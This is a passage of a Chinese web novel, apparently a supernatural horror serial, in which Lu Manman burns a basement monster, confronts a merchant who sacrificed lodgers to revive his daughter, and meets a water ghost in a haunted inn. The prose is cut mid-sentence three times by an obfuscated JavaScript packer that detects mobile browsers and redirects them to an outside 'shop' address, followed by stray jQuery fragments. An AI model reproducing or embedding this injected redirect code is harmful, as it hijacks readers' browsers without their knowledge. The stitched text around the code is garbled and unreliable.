陆漫漫反手将烛台放在边上的置物架上,带着女怪拉开距离:“卓卿越,拿着烛台去找出口。” 轻微的脚步声响起,烛光映照处很快出现一个鬼鬼祟祟的人影。 陆漫漫紧张地注意着那边的方向,好在女怪已经被她身上的血腥味完全吸引,已经完全不在乎光亮处的小脆皮。 拿到烛台的卓卿越却没第一时间离开,一阵窸窸窣窣声响后,烛光被隐隐遮挡,而后倏然增大。 直接用T恤引火的卓卿越在火苗即将舔舐到手的时候,才匆忙松手,放到了木制置物架上。 这点火短时间却点不燃木架,眼瞧着衣服都烧了大半木架也才刚刚被熏黑,卓卿越干脆直接把裤子也脱了,集中在火焰最烈处,手动扇风助燃。 因为拉开距离不得不陷入黑暗的陆漫漫不复最初的灵活,一不留神,肩膀被狠狠撕扯下一块皮肉。哪怕室内逐渐亮起,视线不再受限,却也只能勉力支撑。 陆漫漫心里叫苦不迭。 正常谁家好人家没事会受这么重的伤,一只胳膊几乎抬不起来,她现在脑子里都被“疼痛”糊满了,连根本没受伤的腿脚都受到影响不再那么灵活。 大火终于燃了起来。 只要点燃一块木板,火势要蔓延开来就很快了。 卓卿越费力地将周围的货架都推了过去,留出周围的安全地带,穿着个四角裤就开始沿墙狂奔。 而久拿不下陆漫漫的女怪也终于爆发了。它仰头嘶喊了一声,原本平静的血池再度沸腾,一具接一具残躯的尸体从池中爬了出来,前仆后继地从残门涌入,蹒跚着朝两个人走了过来。 就在这时,卓卿越终于找到了那扇隐藏在角落的出口,高声喊道:“姐姐,这边!” 陆漫漫偏头看了一眼,而后朝着火堆冲了过去,飞起一脚,将噼啪燃烧的木架踢飞,扫到周围。 卓卿越立马反应过来,顾不上烫手,冲过来将碎裂的火棍到处挥舞点火,很快,地下室就被火焰包围,照得明亮如昼。 那些蹒跚崎岖的身影,被火光映射着照在墙上,张牙舞爪,却不敢越过火堆一步。 女怪却不怕火,哪怕被火苗舔舐身体,依旧坚定不移地朝着陆漫漫追来。 卓卿越拉着陆漫漫不曾受伤的右手,飞速往出口冲,因为跑得太快险些撞在门背后立在台阶上的佛像上。 “跳过去!”头皮都在发麻隐隐能感觉到女怪指尖的陆漫漫反过来拉着急急要减速的卓卿越,借着冲力从佛像的头上跃了过去。 始终穷追不舍的女怪停在佛像之前,漆黑的瞳孔看着他们的身影,再没前进一步。 地下室的出口在柴房,没有上锁,或许是觉得万无一失,整个梅苑都静悄悄的,完全没有人守着。 陆漫漫一屁股坐了下来,虚虚捂着肩膀龇牙咧嘴。 卓卿越心疼坏了,赶紧帮陆漫漫治疗。 等疼痛稍缓,陆漫漫就示意卓卿越停下,看着敞开冒烟的出口,笑道:“这不是巧了么,走,给下面的兄弟姐妹们好好加把火。” 佛像可不是木头的,不怕烧,只要把门关了,下面到底是密闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126929|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空间,助燃物也太少,说到底只有燃烧产生的烟雾对他们这样的活人伤害会比较大,等过一段时间火熄了热度退了,人家照样活蹦乱跳。 卓卿越赶紧制止起身的陆漫漫,说道:“这些累活我去做,放火而已,没干过难道还没听过嘛。姐姐你好好休息一下。” 说完,卓卿越搬起两捆柴火就往下面走,女怪还站在佛像前,身后的火焰摇曳,将将点燃木制的门。卓卿越居高临下,将柴火拆开小心地几根几根往下丢。 不一会儿,零散的柴火就把女怪包围起来,星星火光从木门那边蔓延,逐渐增大。卓卿越抬手,直接将边上整捆木柴丢了下去。 灼热的温度伴随着浓烟漫了上来,卓卿越眯着眼呛咳着,执着地盯着火焰中的女怪,直到看到她衣服燃起,皮肤也开始蜷曲燃烧,才松了口气,继续上去搬柴火。 反复数次,柴房已经不能呆了,火苗直接从地下室冲了出来,连带着柴房都烧了起来,阵阵灰白的烟冲出柴房,在天空扬起一片浅灰。 “走水了走水了!” 住在边上的小厮大叫着冲出门,看见陆漫漫二人呆了一下,面色惊恐不确定地看了眼燃起的柴房,再度响起的声音凄厉嘶哑地如同鬼嚎。 “老爷!走水了!” 整个梅苑活了过来,住在这里的大大小小见到两人都是一副活见鬼的表情,却谁也顾不上他们,吱哇乱叫地去搬水盆水桶企图灭火。 然而火是从地下室烧起来的,柴房的助燃物也多,取来的水完全杯水车薪,只能勉强让火不再往边上烧去。 “我的香娘!”衣衫不整的陈商人一屁股坐在了地上,表情天塌地陷,哭得眼泪模糊,“怎么会这样,这么会这样!” 没见过面的老妈妈也失魂落魄:“没了,全没了。” 一个丫鬟不忍地扶住她,表情又惊又俱,还带着如释重负,说道:“王妈妈,这也许就是天意吧。小姐那么善良,就算用这样的方法活过来,她也不会高兴的。” 这话像是惊醒了陈商人。 陈商人猛然起身,冲到了陆漫漫二人面前,凶狠道:“都是你们!你看看你们都做了什么!” “怎么,只允许你害我们,我们不能反击吗?”陆漫漫说,“所以你女儿根本就不是病了,而是早就死了?死在十天前吗?你的妻子也死了?” “闭嘴,闭嘴!她们不会死,我会把她们救活的!”陈商人疯魔道,“只要献祭一百个人,香娘的魂魄就会回来,她就会复活了,到时候我就能知道阿梅去了哪儿,只要有尸骨,我也能一样复活她!” “这是你许愿的内容吗?她们是怎么遭遇不测的?” 王妈妈哭道:“我们都不知道!那天下大雨,我和小莉从前院回来,就看见路边的花坛里有什么被水冲出来,是失踪了一天的小姐的头颅。我们好不容易见到老板,老板却说只能回答我们一个问题。” 丫鬟说:“老爷本来想知道小姐剩余尸体和夫人的下落,还想知道为什么她们会遭遇不幸。但一个问题根本没办法知道全部,所以最后问了复活的方法。老板说只要有尸骨,就可以用献祭的办法复活。” 除了陈商人,这些下人虽然也是帮凶却到底心中有愧,也早就感到不安,陆漫漫一问就全说了。 小厮补充道:“之前老爷都是用钱把那些欠债快待不下去的人哄骗过来献祭的,但是距离凑齐人数就只差五人,而那些欠了一屁股债的房客不剩几个了,都不愿意,所以老爷才会打上你们的主意。” 陈商人已经崩溃了,突然由大哭变成了大笑,嘶吼着朝陆漫漫冲了过来:“都是你们,我要杀了你们,杀了你们!” 陆漫漫完全不怕非诡化的陈商人,直接给他摁倒,把人绑了起来,说道:“我不能帮你复活你妻女,但是我可以帮你找到真相。你好好想想,是要配合我,还是要和我作对?” 陈商人疯狂的表情凝滞,不确定地问道:“你说真的?你没骗我?” “我不需要骗你。” 陆漫漫本来就要找出梅苑的秘密,那自然就要了解方方面面。仅仅只是知道陈商人想要复活妻女,终究只是片面。而没有什么,是比当事人更了解情况的了。为利益计,只是暂时吃下一个亏,不算什么。 陆漫漫循循善诱,“你妻女那么善良,如果让她们以一副人不人鬼不鬼的样子重新活过来,她们会感到高兴吗?只有找出杀害她们的真凶为她们报仇,她们才能真正解脱。” 13. 诡栈拾叁 那天和往常没有什么两样,因为路途辛劳生了一场病的陈香娘还是怏怏的,但总是躺着歇着,身体也觉得不大爽利,所以决定出去走走。 说是出去,也就只是在客栈范围内而已。 当时陈香娘是和母亲姜梅一起的,一路走到了前院,就在客栈大厅歇了歇。然后陈香娘突然就很想吃姜梅亲手做的桂花糕,姜梅就和丫鬟小桃去借了厨房。 “我和夫人做点心也没花多少时间,中间怕小姐觉得无聊,夫人还让我去问掌柜的借了书给小姐看。点心做好后我留在厨房看着火,谁知道夫人却过来说小姐不见了。”小桃说,“当时我们也没觉得有什么不对,夫人还以为小姐又回去了,让我回梅苑看看。结果夫人也消失了。” 那时候大厅是有店员和其他客人在的,店员说陈香娘想如厕,他还给指了路,然后就没看见人回来。所以猜是不是陈香娘嫌弃马棚边上的茅房味道感人,所以干脆直接回去了。 这也是当时姜梅的想法。 之后就是各种找人,也问过店员,一度怀疑过是不是从侧门出去了,但都没有消息。直到那天大雨把埋得并不深的头颅冲了出来。 陆漫漫让卓卿越把那幅画带过来,指着画问道:“前院那位叫文泊的画师,给你们小姐画过像?” “不曾啊。”小桃摇头,“我一直跟着小姐,小姐从未见过这位画师。” 小梨说:“本来就是因为小姐觉得不舒服我们才暂时在这里住下的,那天前小姐都没出过梅苑的门,湘乐琴师还是老爷听到消息请过来的,因为小姐爱琴。” 卓卿越吐槽:“没出过门你们也不跟着?” 小桃垂下脑袋,说道:“虽然小姐没出过门,但店员都知道我们小姐是贵客,又是人来人往的大堂,我们也就离开了两炷香不到的时间……” 陆漫漫:“所以当时在场的其他人没有听到什么异常动静?” “没有,我们都问过了。”王妈妈突然短促地叫了一声,说道,“画……画动了!” 陆漫漫低头看去,果然,原本暗自垂泪的女子此刻朝外看了过来,眼中含泪,嘴巴微张,似乎想要说些什么,却奈何无法动弹。 “走,去前院找文泊。” 陆漫漫抬脚,却发现屋子里的人除了卓卿越没一个有动作。 小厮道:“去不得,去不得啊。这家客栈,什么都好,但是晚上闹鬼,只有在屋子里才是安全的。要想出入,只能人头灯领着。可是我们老爷的人头灯,之前提问的时候,就还给老板了。” “卓卿越,你留下。” “姐姐,我……” 陆漫漫给他使了个眼色,卓卿越委委屈屈应下了。 梅苑的主线估计就是陈香娘一事,但梅苑不像菊苑,光下人就有五个人,且从刚刚的交谈来看,不止陈商人一个人见到了老板。面对一个可以许愿的机会,谁知道还有没有什么其他事藏着。 如果故事只有一条线且能一路顺利到达终局,作为想获取老板弱点的前提未免有些简单了。 毕竟迄今为止,最困难的一部分,也就是应对女怪。 当然,这些思考也只是因为陆漫漫目前的行动异常顺利而产生的疑虑,她倒是希望,这只是她杞人忧天,想得太多。 此刻,前院。 说是百鬼夜行也不为过。 一号通铺尚且还能安眠,二号通铺的蒋梦凡和何峰正挤在一张床上,看着周围无意识游荡的人。 快零点的时候,通铺里的这些人就齐刷刷地睡下了,偌大的房间安静地如同坟地,但零点一过,就挨个坐了起来。 有的念念有词,有的来回徘徊,有的甚至开始撞墙。 如果忽略他们翻白的朝两人斜过来的眼睛,倒也还没那么惊悚。 蒋梦凡崩溃道:“何队,怎么办啊!这才第二晚。” “顾不上汪实学他们了,今天我们打的工已经足够居住到明天,明天我们一定要想办法见到老板。这个老板绝对就是诡域的boss。”何峰眼睛发红,“我一定要消灭这个诡域!” 蒋梦凡也双眼迷离:“没错我可以的,我才不是最没用的。什么我的技能只能侦查搜集资料,才不是呢,如果我能魅惑boss,我就可以升到总队,再没人看不起我了。” 忽然几声敲门声将两人惊醒,伴随着滴水的声音,一个含糊地如同含着水的粗嘎女声随之响起。 “开门,你们看见我囡囡了吗?” 两人惊疑不定。 昨晚是许掌柜敲门,原因是他们“非法入住”。今晚又是什么? 隔壁的房门被从里拉开,一阵兵荒马乱呼叫嘈杂后,那声音来到了他们的门前。 “咚咚咚咚——” 游荡在门口的人慢吞吞晃过去,伸手就要拉开闩门。 “拦住他,不能开门!”何峰一个健步冲上前,奈何两人窝着的床铺距离门口有些距离,根本来不及。 等何峰冲到门口的时候,门已经被拉开了。 模糊的月色从门口照进来,映出臃肿的身影。 何峰呼吸骤停,和那个被水泡肿看不清面目不断滴着水的诡怪咫尺相对,当即僵立在那,不敢动弹。 湿漉漉的脑袋从门口探了进来,似在观察。 “囡囡……” 沉重的身躯略过何峰,缓步而前,走到了抖如筛糠的蒋梦凡身边,再脑袋陡然探近的时候,脑袋空白的蒋梦凡控制不住地尖叫出声,而后直接被黏湿长发贯穿喉咙。 “你不是……你吓跑我囡囡了。死死死死死死死死!” 尖叫声陡然停止。 蒋梦凡瞳孔睁大,呼吸被夺走的那瞬间,她不甘心地想,她都还没有见到老板!明明只要给她机会,她就可以在诡域里面横着走的! 水诡缓缓退出房间,敲起了隔壁的门。 直到它前往第二层,何峰才猛地开始大喘气,瘫软在地。 “何队!”肖诚和汪实学一左一右上前,将他扶住,“你没事吧?刚刚?” “梦凡死了。”何峰冷汗出了一身。 肖诚将他拉进屋,把门关上,说道:“许富贵也死了,不过不是被刚刚那个水诡弄死的。” “水诡好像是在找人,而且是女性。她挨个看了我们房间的几个女子,还随手把几个试图对它下手的人杀了。”汪实学说,“三号的人都疯了,他们想把我们拿去抵债,硬生生把许富贵给活活撕开,他叫都没能叫出口就痛死过去了。” 肖诚警惕地看了一眼二号房,说道:“这个房间明晚也不安全。三个通铺应该是循序渐进的。明天必须要赚到能住一号房的钱才行。” “那你们今晚……不能在这里凑合一下吗?” “不行。”汪实学苦笑道,“我打听过,我们最多只能待一会。想想也是,如果可以蹭房间,房间制度也就没有意义了。” 肖诚提醒道:“我们得回去了。楼上只有一间房有人,它应该很快就会下来。” 汪实学拍拍何峰的肩膀:“何队,你自己保重,我们明天再见。” 两人趁着夜色又回到了三号房,空荡荡大开的房门内,一双双翻白的眼睛虎视眈眈地看向他们,一个个身上都带着明显的血渍,是之前撕扯许富贵皮肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138557|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时被沾上的。 有人低喃:“还不够,我不想走,我不想走。” “还不够,还不够……” 汪实学吞咽了口唾沫,指着角落里被水诡杀死的几人,说道:“那里还有呢!够了够了!” 众人后知后觉往他指示的地方看去,忽然有人嘴角划出诡异的笑容,疯魔般扑了过去:“我的,我的,我要住客房,我要住客房!” “是我的,是我的!” 一群人疯抢起来,一时间血肉横飞,他们完全不顾抢到手的是活的死的,疯了一般地撕扯。 肖诚哆嗦着跟着汪实学进门,轻声将门板合上,两人缩成一团。 还好,虽然他们是第一目标,但有现成的尸体,就可以转移目标。 就是这一夜,再不可能入睡了。 汪实学轻声道:“客院肯定安全,如果卓卿越能把我们带过去,我们也不用遭遇这些,梦凡……也不会死了。” “汪实学!”肖诚低喝道,“这一行本来就是卖命的买卖,小卓是新人,按说也是我们照顾他,你怎么能这么想,他也只是运气好。” “对不起,我……我从来没有队长他们那样的野心,我是自愿留在分队的。因为我怕死……” “谁都怕。别想太多了,会没事的。不要去深挖诡域,你看,你脑子好,我们也已经顺利找到了打工技巧,明天我们努努力,把欠的钱还了,就能离开了。”像是安慰汪实学,又像是安慰自己,肖诚肯定道,“我们会平安的。” “恩。” 和楼下的凄凄惨惨形成鲜明对比的是客房一号的轻松。 在水诡敲门的时候,冒飞扬凑近感受了一下动静,就肯定道:“小怪,连许掌柜都比不上。开门吗?直接给它剁了!” “你闲着没事做吗?我不是说过这个诡域很危险让你稳着点!” “你怎么回事,怎么什么都要跟我吵?我讲的哪里不对了?咱俩都是没脑子派,从来都是直接干的。你自己说你有脑子吗?不会别人吹嘘几句你就嘚瑟地不知道自己是谁了吧?你那些战绩不都是直接硬打过关的?” “如果我跟你一样见一个就打一个,我早就死了!” “你……”冒飞扬蹬蹬蹬冲到床头,正要破口大骂,视线忽然瞥到窗纸上隐隐飘动的绿色,“怎么外面有光?” 一号房的门窗完整度还是非常好的,冒飞扬眯着眼睛从一边窗纸没糊好的小口看出去,真的看见漆黑一片中有一点淡淡的绿光,缓缓朝前飘动,绿光笼罩处,是一道看不真切但颇为熟悉的身影。 “是那个小姐姐!”冒飞扬说道,“遭了,虽然她运气不错但其实并没有攻击手段,那个水诡还在门口呢!她这会儿过来得正好撞上!” 秦业伸手拉住她,说道:“别着急,半夜三更的,她一个人过来这件事本身就不对劲,先看看。而且这才见了几面,你对她好感度高得过头了吧?” “你不也是她说什么就听什么?” 秦业气急:“我那是尊重聪明人!” “切,你还知道自己不聪明啊!” 两人吵闹间,门外也开始了凶狠的砸门,无奈,里侧的大锁牢牢扣住,整扇门纹丝不动。 似乎是发现的确没办法砸开门,水诡直接放弃,前往了下一扇门。 吵闹着的两人齐齐住嘴。 冒飞扬咦道:“二楼只有我们了吧?” 秦业:“是二号和五号的住客。他们也在水诡的骚扰名单上。” “有意思。你还记得小姐姐让我们查探这两个住客的事情吗?” “这两人心中有鬼。” 14. 诡栈拾肆 陆漫漫这次是往桥上走的,人头灯尽职尽责的飘在前方,哪怕桥下河水不断有悉索声响,也始终没出现什么奇怪的东西。 下桥后又走了几步,陆漫漫突然停住,侧身,挥手让人头灯降下,看向了边上的草地。 一片湿漉漉被踩踏的印记从池边一路往前,蜿蜒着伸向小楼。 虽然早就知道晚上的客栈不平静,不过正面撞上就实数倒霉了。 要知道人头灯仅仅只能跟到这里而已。 陆漫漫毫不犹豫地抬脚往小楼走去。 她这个人,本来就不怕牛鬼蛇神,受到客栈的影响,更是完全不管后路。非但不曾后退,陆漫漫甚至加快了脚步,近乎小跑着来到了小楼。 深夜的小楼门口高挂的灯笼已经熄灭了,整栋楼黑洞洞的,一楼通铺面前的地板上大滩大滩的水迹,连带着门上都一片潮湿。 陆漫漫仰头,朝着二楼看去。 有一块黑沉的阴影站在二号房的门口,抬手敲着门。 陆漫漫漫不经心地想,深夜敲门是这个客栈什么独特的节目吗? 感觉到陆漫漫的视线,二楼的水诡猛地转身扑在栏杆上,发出沉重的声响,水滴沿着栏杆而下,滴答一声,落在陆漫漫脚前的地面。 “囡囡?”混合着水泡含糊的声音,水诡发出了询问。 陆漫漫猜了好一会儿,才反应过来它说的究竟是什么。 “你是姜梅?” “囡囡,囡囡,囡囡……”水诡仿佛被触发了关键词,疯了一般直接越过栏杆,猛地朝陆漫漫扑了下来。 陆漫漫急急后退,眯着眼睛试图借着月光看清面前诡怪的样子。 水诡摔落在地,发出一声软趴趴的闷响,整个诡就如同橡胶一样扭曲蠕动着重新站了起来,泡胀开的皮肤被拉伸出一道道的褶皱,而后重新被水注满填充。五官在挤压下显得相当古怪而又诡谲,根本无法辨认本来面目。 陆漫漫也压根不知道姜梅原本的样貌。 而近前发现陆漫漫并非所找之人后,水诡愤怒伸手,却被怼在面前的纸张挡住。 掏出卷轴一口气拉开的陆漫漫歪过脑袋,肯定道:“你是姜梅。这是你的女儿陈香娘是吗?她现在在哪?” “在哪在哪在哪。我在找她,我在找她。她在这里,在这里……” 水诡没什么理智,含混着重复着词句,视线无法从卷轴上移开分毫。它伸手想去触摸,指尖却在触碰到画面的一瞬间被弹开,一层淡淡的金光从纸上晕染开,震开了水诡。水诡被刺痛,发出难听的叫声。 “小姐姐!果然是你,我来帮你!”二楼的房门被拉开,一只笔横甩出来,重重击打在水诡的身上。 水诡吃痛,却怎么都不肯从陆漫漫身前离去,不断试探地伸手去抓卷轴,却始终被金光阻挡。而哪怕它的手指被刺伤烧灼,也始终不曾放弃。 “等等。”陆漫漫收起卷轴,警惕地观察着水诡的动向。 确定水诡只是紧紧盯着画卷不再动作后,迈步朝着楼上走去。 水诡紧随其后。 “咦?”冒飞扬奇怪道,“小姐姐你给它下降头了?” “你是笨蛋吗?那幅画就是水诡要找的东西!”秦业无语,“都说了让你不要乱来了吧!” 陆漫漫无语地打断两人即将再度开启的争吵,说道:“把二号房和五号房的人抓出来。” “且不说客房本身具有防御力,破坏客栈的话……” “有人付钱。”陆漫漫说,“客房的防御针对的应该不是我们,试试吧。” 秦业说:“你没什么经验,虽然这个诡域里目前这些人都是‘正常的活人’,但诡域从来不存在真正的人,就像白天客栈大厅来往的食客一样。乱来的话,很可能我们本来只需要面对的‘正常人’也会进入诡化。” “这只算是内部寻仇吧?”陆漫漫不确定的说,“要是这都能激起诡化,只能算我们倒霉。你们不来就算了。” 冒飞扬跃跃欲试:“我来我来,这还是我第一次和剧情那么接近呢,我一定要知道真相。” 秦业:“……” 秦业忍了忍,还是没忍住,破口大骂道,“你就是只被好奇心创死的猫!老子再也不想跟你一起进诡域了!” “你这人活着也太没意思了,进都进来了,能不能别这么胆小怕事啊!你看看小姐姐,第一次就这么六!” 秦业冷笑,毫不客气道:“第一次,呵,也是最后一次了吧,你也不看看她接的那什么任务,就算我们帮忙,只要有一点疏漏,她就得死。即便她成功完成了任务,像知道boss弱点这样的事情,之后绝对会被boss针对,不过就是早死和晚死的区别而已。” “那反正都可能是死,当然更要活得潇洒了!至少也得做个明白鬼不是?” 这话陆漫漫就不爱听了。几个意思,其实这两人都觉得她早晚得死是吧?她觉得这两人是好用的被情绪支配的小跑腿,这两人只是把她当乐子? 好家伙,这一波原来是相互利用。 莫名也怒起来的陆漫漫冷笑一声,蹬蹬蹬冲到二号房门口,抬脚就踹。今天不把这两个人拎出来问个明白她就不姓陆! 玩游戏解锁剧情什么的,从来都是她陆漫漫的拿手好戏! 挂了大锁的厚木板都是陆漫漫的脚下亡魂,更别说被当做普通客房房门的薄门板了,直接被踢得整扇门飞进了屋。 空气骤然安静。 秦业张了张嘴,呐呐问道:“你这……练过啊?” “恩,系统学过散打空手道跆拳道通背拳,也练过一点太极拳什么的。”陆漫漫说,“我小时候距离家不远处有个小女孩出了事,那天正好我也是一个人回家的,时间点没差多少。我家里人都吓到了,立马送我去报班了。不过我都不太精通,只有踢技好点。” 冒飞扬低头看了看陆漫漫稳稳穿在脚上的拖鞋,再看看没了门的房间,在陆漫漫面前头一回那么乖巧安静。 什么拖鞋和长裙妨碍行动,是她浅薄了!鬼知道陆漫漫踢腿的时候大裙摆扬起时候有多帅啊! 陆漫漫顺了顺歪掉的小挎包,趿拉着拖鞋继续往里走。如法炮制地把五号房门也踢了个散架,直接把文泊和湘乐拎到了一起。 拜先前冒飞扬两人一顿叭叭所赐,现在陆漫漫耐心告罄,整个人非常地烦躁,即便心里明白是诡栈带来的负面影响又加深了,也根本无法控制。 她将画卷甩在五花大绑的两人面前,说道:“说说吧,你们都干了什么好事?” 湘乐又惊又惧:“我听不懂你在说什么?你疯了吗?深更半夜随便闯进来,你不知道这里闹鬼吗?” “你说的是这个诡吗?”陆漫漫指了指始终跟着画卷的水诡。 湘乐眯着眼看了会儿,摇头道:“不是它。它只是个水诡。你这个疯子根本什么都不知道!这个客栈是诡栈,老板包括员工都不是人!如果一天没有足够的血肉或者营业收入支撑,掌柜的晚上就会变身,整个客栈都会变化,到处都会吃人。只有客院才是最安全的,客房如果上了锁,也能勉强阻挡。但现在你们把门都破坏了!我们都会死的!” “什么意思?”冒飞扬一头雾水,“这个客栈不就是主人能许愿吗?只要交够入住的钱,客栈应该不会对我们动手啊?” 文泊惊惧地看了一眼地上展开半幅的画像,说道:“就算你们想审问我们什么,至少也先找个安全的地方。这里真的不能待下去。” 秦业说:“先去我们的房间。” 冒飞扬和秦业一人揪着一个,拉着人就往一号走。陆漫漫捡起画,想了想,重新去到床边,将之前发现的落在缝隙的肚兜拿了出来。 恩,重要物证可不能落下。 就这慢了一步的功夫,再踏出房门,整个空间都扭曲了。 原本二楼的布局是一边房间,一边镂空栏杆,可现在,却成了一个密闭的室内走廊,不断有交错的通道横亘,两侧皆是房间。 有的房间门窗破烂,破了洞的门窗只能看见混沌的黑暗。有的房间却亮着灯光,或明或暗,偶尔有人影被光亮映照在门窗上。 陆漫漫扭头,水诡还沉默地跟在她身后,或者说,跟在画的身后。 似乎只要不看见画上的面孔,水诡就不会执着地去伸手触碰,而是保持着安静的跟随状态,也不知道如果陆漫漫试图用画去抵挡其他诡怪的袭击,水诡是无动于衷还是保护画卷还是怒而对她动手? 陆漫漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149667|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新退回房间,拿起烛台和火折。就这么短短进出的功夫,原本完好的房间墙面开始斑驳,没有被光照的黑暗中有什么在无形地扭动,温度呈断崖式地下降。 留着等待是不行的。 就是不知道原本只是隔壁的一号房这会儿被安在了哪里。照这发展情况来看,冒飞扬二人不可能还留着门等着被入侵,只能靠她自己找了。 不过盲抽什么的,陆漫漫一向……手比较黑。 对此,陆漫漫的决定就完全是上头的体现了——挨个找过去。 身后破了门的房间无法修复,是天然的定位点,陆漫漫随手敲起边上的房间,说道:“是我,开门。” 漆黑的室内燃起了暗淡的烛光,有含糊不清的女声问道:“你怎么证明?” 陆漫漫:“爱开开,不开拉倒。” 一阵开锁的声音响起,女声再度道:“锁开了,我们不放心,你自己推门进来。” 陆漫漫拿出画卷,远远戳开门,一只枯槁的手瞬间伸出,碰到卷轴后惊叫了一声缩回,徒留下开了一道缝的房门,露出门缝内深深的黑暗。 完全不是窗户那亮着暖黄灯光的样子。 “这东西还挺好用。”陆漫漫发现了新大陆,乐此不疲地用画卷当成开门武器。 屋里不论是什么东西,都不会出来,她只要小心保持自己的身体部位不在房屋里面,就可以避免来自房间的危机。但同时,她也没办法靠破坏房门来标记开过的房间,也没有其他有效可以标记的东西,只能先祈祷一下这些房间不会再随意流动。 回到一号房的冒飞扬二人也敏锐地感觉到了异常。尤其是在发现原本跟在身后的陆漫漫不见踪迹后,经验丰富的两人迅速果决地将门关上上了锁。 “她死定了!”湘乐似惧又似松了口气,“什么都不知道就该老老实实遵守客栈的规则,自己不想活就算了,还差点把别人拖下水。” “客栈的规则?”秦业捕捉到了关键词,问道,“是什么?” “能是什么?说是规则不过就是常识,交易付钱,一日三餐,晚上关门睡觉别出来瞎溜达呗!” 秦业猛地想起除了黄溥两人外的其他探查员,都为了节省钱财只用了一餐。交易付钱这一条他们在昨晚就已经碰到了,而晚上别出门也印证了此时的情况。没想到一日三餐居然也是个坑。 冒飞扬问:“那如果我就吃了块点心,不是也破坏了一日三餐?” 湘乐翻了个白眼:“所谓一日三餐,指的是早饭午饭晚饭,谁管你吃不吃点心夜宵又或者是在什么时候吃的?” 冒飞扬拍拍胸脯:“还好还好,吓我一跳。这跟头要是栽了,我做鬼都没办法瞑目。” 秦业:“……”一言难尽。 他憋了憋,还是没憋住道,“这个三餐应该是有一定的作用,和它本身用餐的称谓时间并没有太大的联系,而且恐怕一天内只有三次吃东西是有作用的,所以才说一日三餐。我怀疑和我们现在的情绪异常有关系。” “哪里异常了?” 秦业:“……”真不想和这个没脑子的东西说话! 就在这时,门口传来敲门的声音,陆漫漫的声音隔着房门显得有些微的失真:“有人吗?开下门。” 冒飞扬蹦起来:“小姐姐找来了。” 说着就要去开锁。 “等等。”秦业拉住她,警惕地看着因为内明外暗看不出分毫异常的房门,说道,“我们不能保证门外的人究竟是真是假。” “怎么会是假的,不是说晚上不出门就可以吗?” “如果只是这样,他们的房间为什么也要上锁?发现房门被毁后他们那么惊慌失措?”秦业到底还是更理智一些,说道,“这说明房间也是可以被‘入侵’的。我们现在靠着锁守住这一片安全区,但是打开的话,这个屋子和损坏的二号房也没有区别了。” “可是……” 已经走到这一步,秦业当然也想更进一步探索下去。说不好听的,这一次他们没过关,保不准之后这个任务还是得轮到他们。 既然早晚都要冒险,倒不如趁着现在有人冲锋,尽可能多地深入诡域核心。 秦业目光在房间里转了一圈,说道:“先灭灯。” 15. 诡栈拾伍 光亮总会给人安全感,但在诡域中,光亮也会成为诡怪的灯塔。 灯灭后,门外的敲门声迟疑地顿住,妙曼的身影被浅淡的烛光映照在门上,形成一道剪影。隔了数秒,敲门声才再度响起。 “有人在吗?开门。” 秦业低声问道:“我叫什么名字?” “你是……在这里名字应该不能乱提吧?是我啊,我们刚刚还一起在二号房呢。” 冒飞扬说:“好像没什么毛病啊?” 秦业冷笑了声,对着门外道:“你为什么不问问我们是不是真的?” 门外的声音沉了下来,急促道:“我让你们开门!你们房间里人太多了,客栈里夜间不允许随便收留他人!快开门!” 秦业没理。不能随便收留旁人可能是真的,但这事儿怎么都得许掌柜来管,门外的东西刚刚还冒充陆漫漫,绝不会是许掌柜。 更别说他们才刚把人带到一号房,最多按一般拜访逗留的情况来算,根本说不上收留。 见叫不开门,门外的东西恨恨地走了。 没过两分钟,相同的女声再度响起。同样是一盏浅淡的灯光映照出纤细的身影。 “这里是一号房吗?麻烦开个门。” 秦业问:“你刚刚没跟上来是为了什么?” “拿画跟肚兜。速度点,走廊不对劲。” 冒飞扬小声道:“这个应该是真的了吧。” 秦业不屑地嗤笑了一声,对着门外道:“走错了,滚!” 门外烛火乍然熄灭。 冒飞扬:“???” 秦业随口道:“这么顺利就找过来,我才不信呢。” 冒飞扬恍然大悟:“也对哦,如果外面有那些敲门的怪物,说不定小姐姐还得正面碰上。小姐姐身手好,打不过还能跑,怎么不该是那么平静的样子。” 她话音落下,一点烛光晃动着一路来到了门口,粗重的喘息声响起:“是一号房吗?快开门,那东西要追上来了!” 冒飞扬眼睛一亮,跃跃欲试就要身手,被秦业一巴掌拍下。 “你脑残吗?你刚说完就有人跑过来了,这么假你也信?湘乐都说了客栈会吃人,说明客栈本身可能就是活的,我们身处客栈内,它怎么可能不知道我们说了什么?” 冒飞扬撇嘴:“不是就不是,你能不能好好讲话!” “我怕你把我给气死。” 